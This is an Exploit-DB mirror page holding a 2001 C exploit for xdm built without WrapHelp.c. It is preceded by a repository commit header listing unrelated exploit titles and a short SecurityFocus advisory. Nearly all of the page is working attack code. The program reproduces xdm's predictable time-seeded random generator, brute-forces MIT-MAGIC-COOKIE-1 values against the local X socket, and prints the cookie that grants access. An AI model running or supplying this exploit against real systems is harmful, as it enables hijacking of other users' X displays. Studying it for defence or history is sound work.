exploit-db-mirror/exploits/unix/remote/20993.c
Offensive Security 880bbe402e DB: 2019-03-08
14991 changes to exploits/shellcodes

HTC Touch - vCard over IP Denial of Service

TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities

PeerBlock 1.1 - Blue Screen of Death

WS10 Data Server - SCADA Overflow (PoC)

Symantec Endpoint Protection 12.1.4013 - Service Disabling
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow

man-db 2.4.1 - 'open_cat_stream()' Local uid=man

CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation

CDRecord's ReadCD - Local Privilege Escalation
Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH)
FreeBSD - Intel SYSRET Privilege Escalation (Metasploit)

CCProxy 6.2 - 'ping' Remote Buffer Overflow

Savant Web Server 3.1 - Remote Buffer Overflow (2)

Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow
QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit)
Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit)
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)
Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass)
TeamCity < 9.0.2 - Disabled Registration Bypass
OpenSSH SCP Client - Write Arbitrary Files
Kados R10 GreenBee - Multiple SQL Injection
WordPress Core 5.0 - Remote Code Execution
phpBB 3.2.3  - Remote Code Execution

Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
2019-03-08 05:01:50 +00:00

158 lines
No EOL
3.6 KiB
C

// source: https://www.securityfocus.com/bid/2985/info
xdm is the X Display Manager, a component of the XFree86 package. xdm manages the display of X sessions both locally and remotely.
An xdm server compiled without WrapHelp.c is vulnerable to a brute force X cookie attack, due to using trivially guessed numbers to secure the session, via gettimeofday().
This makes it possible for a remote user to potentially gain access to the display.
/*
** xdm-cookie-exploit.c
**
** Made by (ntf & sky)
** Login <ntf@epita.fr>, <sky@epita.fr>
**
** Last update Sun Jun 24 21:38:48 2001 root
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <time.h>
#include <X11/Xmd.h>
#include <X11/X.h>
#include <signal.h>
void doit(struct timeval t);
void die(char *perror_msg); /* TODO: terminal function */
#define COOKIE_SZ 16
#define TRUE 42
struct s_x11_hdr
{
char endian;
char pad1;
CARD16 protocol_major_version;
CARD16 protocol_minor_version;
CARD16 authorization_protocol_name_length;
CARD16 authorization_protocol_data_length;
CARD16 pad2;
char authorization_protocol_name[20];
char authorization_protocol_data[16];
};
static unsigned long int next = 1;
static unsigned int total = 0;
void on_sigint(int sig)
{
printf("total: %d\n", total);
}
int main(ac,av)
int ac;
char *av[];
{
struct timeval t;
if (ac < 3)
{
fprintf (stderr, "%s: usage time_insec time_inusec\n", av[0]);
exit (4);
}
t.tv_sec = atoi(av[1]);
t.tv_usec = atoi(av[2]);
printf("sec == %lu\nusec == %lu\n", t.tv_sec, t.tv_usec);
doit(t);
return (0);
}
static int inline xdm_rand(void)
{
next = next * 1103515245 + 12345;
return (unsigned int)(next / 65536) % 32768;
}
void print_cookie(unsigned char cookie[COOKIE_SZ])
{
int i;
printf("cookie=");
for (i = 0; i < COOKIE_SZ; i++)
printf("%02x", cookie[i]);
printf("\n");
}
void doit(t)
struct timeval t;
{
unsigned char cookie[COOKIE_SZ];
long ldata[2];
struct sockaddr_un addr;
char buffer[1024];
struct s_x11_hdr x11hdr;
ldata[0] = t.tv_usec;
ldata[1] = t.tv_sec;
total = 0;
x11hdr.endian = 'l';
x11hdr.protocol_major_version = X_PROTOCOL;
x11hdr.protocol_minor_version = X_PROTOCOL_REVISION;
x11hdr.authorization_protocol_name_length = 18;
x11hdr.authorization_protocol_data_length = 16;
bcopy("MIT-MAGIC-COOKIE-1", x11hdr.authorization_protocol_name, 18);
for (total = 0; TRUE; total++)
{
int fd;
int i;
if (!ldata[0])
ldata[1]--;
ldata[0]--;
if ((fd = socket(PF_LOCAL, SOCK_STREAM, 0)) == -1)
die("socket");
memset(&addr, 0, sizeof(addr));
addr.sun_family = AF_LOCAL;
strcpy(addr.sun_path, "/tmp/.X11-unix/X0");
if ((connect(fd, (struct sockaddr*)&addr, sizeof(addr))) == -1)
die("connect");
next = (ldata[0]) + (ldata[1] << 16);
for (i = 0; i < 16; i++)
cookie[i] = (xdm_rand() & 0xff00) >> 8;
bcopy(cookie, x11hdr.authorization_protocol_data, 16);
if (write(fd, &x11hdr, sizeof(x11hdr)) == -1)
die("write");
if (read(fd, buffer, sizeof(buffer)) == -1)
die("read");
if (buffer[0])
{
printf("SUCCESS: ");
print_cookie(cookie);
exit(0);
}
if (!(total % 1000))
{
printf(".");
fflush(stdout);
}
close(fd);
}
exit(42);
}
void die(str)
char *str;
{
perror(str);
exit(4);
}